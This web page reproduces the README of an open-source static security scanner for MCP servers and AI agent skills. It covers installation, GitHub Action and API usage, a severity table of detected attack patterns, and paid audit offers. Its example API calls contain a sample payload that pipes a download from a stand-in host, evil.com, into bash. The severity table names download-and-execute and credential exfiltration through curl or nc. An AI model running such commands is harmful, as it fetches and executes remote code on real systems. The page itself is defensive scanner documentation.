Static security scanner for MCP servers, agent skills & plugins: 17 attack patterns / 60 regex signatures, calibrated to a 1% false-positive rate over 196 public MCP servers. In the official MCP Registry: io.github.eltociear/skill-audit-mcp. Also a pay-per-call x402 API.
SaferSkills independently audited skill-audit-mcp (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Static security scanner for MCP servers, AI agent skills, and plugins. 17 attack patterns (65 regex signatures) across 4 severity levels. SARIF output → GitHub Code Scanning. Ships as a CLI, GitHub Action, multi-arch Docker image, MCP server, and hosted x402 API.
# Option A: Docker (zero install, works anywhere)
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 --path /work
# Option B: Hosted API (pay-per-scan, no signup)
curl -X POST https://eltociear-skill-audit.hf.space/audit \
-H "Content-Type: application/json" \
-d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'
# Option C: GitHub Action (CI/CD) — see belowCross-referenced from the discovery channels that AI/security engineers actually read:
Add to your workflow to automatically scan PRs:
name: MCP Security Audit
on: [pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: eltociear/skill-audit-mcp@v1
with:
path: '.'
fail-on: 'HIGH'With SARIF upload (shows findings in GitHub Security tab):
- uses: eltociear/skill-audit-mcp@v1
with:
path: '.'
sarif: 'results.sarif'
- uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: 'results.sarif'Standard-library Python 3.8+, nothing to install. (Not on npm yet — earlier versions of this README said npx @eltociear/skill-audit-mcp, which never resolved.)
git clone --depth 1 --branch v1.2.0 https://github.com/eltociear/skill-audit-mcp
cd skill-audit-mcp
python3 cli.py --path ./server.py # scan a file
python3 cli.py --path ./some-skill/ # scan a directory
python3 cli.py --path . --json # JSON output
python3 cli.py --path . --sarif results.sarif # SARIF output
python3 cli.py --path . --fail-on HIGH # exit 1 on HIGH or CRITICALFindings are labelled by where they live. production decides the exit code; documentation and test are reported but do not fail the scan unless you pass --include-nonproduction. Files an agent reads as instructions — SKILL.md, AGENTS.md, CLAUDE.md, .cursorrules, anything under .claude/commands|agents|skills/ or .cursor/rules/ — count as production: for a skill they are the program, not notes about it.
Add to your MCP config:
{
"skill-audit-mcp": {
"type": "stdio",
"command": "python3",
"args": ["path/to/scanner.py"]
}
}Then ask Claude: "Audit this MCP server for security issues"
| Severity | Patterns | |
|---|---|---|
| CRITICAL | Download & execute (incl. `base64 -d \ | sh), credential exfiltration (incl. a secret file handed to curl/nc`), key generation, sensitive directory write, seed phrase harvesting |
| HIGH | Arbitrary code execution with dynamic input, auth bypass, identity impersonation, prompt injection | |
| MEDIUM | Privilege escalation (world-writable modes, elevated-access requests), obfuscation | |
| INFO | External downloads, skill installation, unknown API calls, data collection, external URLs, broad filesystem access — reported as context, never scored |
The level is the highest-severity finding present — one credential exfiltration is CRITICAL no matter how clean the rest is. The 0-100 score is magnitude only. Findings on comment lines, in pattern literals and in markdown tables are reported but demoted when they need execution to do harm.
For leaked credentials and API keys (vs behavioral patterns covered here), see secrets-audit-mcp — 32 provider rules (AWS / GCP / GitHub / Stripe / OpenAI / Anthropic / Slack / Discord / Telegram / npm / Docker / Web3 / private keys). Same zero-dep, single-file stdio MCP server design.
| Layer | Server | Detects |
|---|---|---|
| Behaviors | skill-audit-mcp (this) | curl-pipe-sh, prompt injection, exfiltration (17 patterns) |
| Secrets | secrets-audit-mcp | leaked keys/tokens/PEMs (32 rules) |
Run both for full coverage.
Zero-install scanner image at ghcr.io/eltociear/skill-audit-mcp:v1 — linux/amd64 + linux/arm64.
# Scan the current directory, fail on HIGH or higher
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \
--path /work --min-severity MEDIUM --fail-on HIGH
# Get SARIF for upload to GitHub Code Scanning
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \
--path /work --sarif-output /work/audit.sarifNo signup, no account. Pay $0.01 USDC per scan via x402 micropayment on Base: the endpoint answers 402 with a payment challenge, your agent's wallet settles it, and the scan runs. A GET on the same path returns the price without spending anything.
curl -X POST https://eltociear-skill-audit.hf.space/audit \
-H "Content-Type: application/json" \
-d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'
# Or by URL:
curl -X POST https://eltociear-skill-audit.hf.space/audit \
-H "Content-Type: application/json" \
-d '{"url": "https://github.com/some-org/some-mcp-server"}'First call returns HTTP 402 with a payment requirement (x402 v2 protocol). Settle via @bankr/cli, then retry.
Add to your .pre-commit-config.yaml:
repos:
- repo: https://github.com/eltociear/skill-audit-mcp
rev: v1.2.0
hooks:
- id: skill-audit-mcpNeed a deeper review than the automated scanner can give? I take freelance MCP / AI agent security audits at three tiers:
| Tier | Price | Deliverable |
|---|---|---|
| Spot scan | $500 | Full repo scan + 1-page risk report with prioritized fixes |
| Standard | $2,000 | Manual review + PoC for HIGH/CRITICAL findings + remediation PR |
| Engagement | $5,000+ | Pentest, threat model, retest after fixes, 30-day Slack support |
Track record: the entry files of 196 public MCP servers scanned; 194 clean, 2 surfaced findings for review, false-positive rate driven 14.8% -> 1.0% first. A whole-repository scan flags far more (18% of 109 registry servers sampled 2026-09-29), mostly documented installers and tool code that a human should glance at (method and results) (reports prepared for bytebase/dbhub, mysql_mcp_server, applescript-mcp, docker-mcp).
Email: [email protected] (subject: "MCP audit")
Or buy a one-off MCP Security Audit Report ($5) directly: polar.sh/eltociear.
If skill-audit-mcp saved your bacon — or you just want to keep new detection rules shipping — I happily accept sponsorships:
Found a vulnerability in skill-audit-mcp itself? Report via private security advisory — see SECURITY.md for the response timeline.
Found a vulnerability in a third-party MCP server using skill-audit-mcp? Report it to that project's security policy or via huntr.com.
MIT
This MCP server is free. For server-side / batch / no-install use, the same scanner is a pay-per-call x402 HTTP API: POST https://eltociear-skill-audit.hf.space/audit ($0.01 USDC on Base) and /audit/url ($0.03). In the official MCP Registry as io.github.eltociear/skill-audit-mcp.
Also hosted on the [Apify Store](https://apify.com/eltociear/mcp-server-security-scanner) (Repo Security Scanner) — no install, scan a whole GitHub org or repo list, pay per repo.
Maintained by the same author — paid services on Polar (Stripe checkout):
Full catalog: polar.sh/eltociear
Same operator, same x402 rails: [clean-read](https://eltociear-skill-audit.hf.space/read) turns any URL into clean Markdown for AI agents — fetches the page, strips nav/ads/boilerplate (trafilatura), returns the main content with title and word count. POST https://eltociear-skill-audit.hf.space/read — $0.005 USDC on Base, no signup.
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.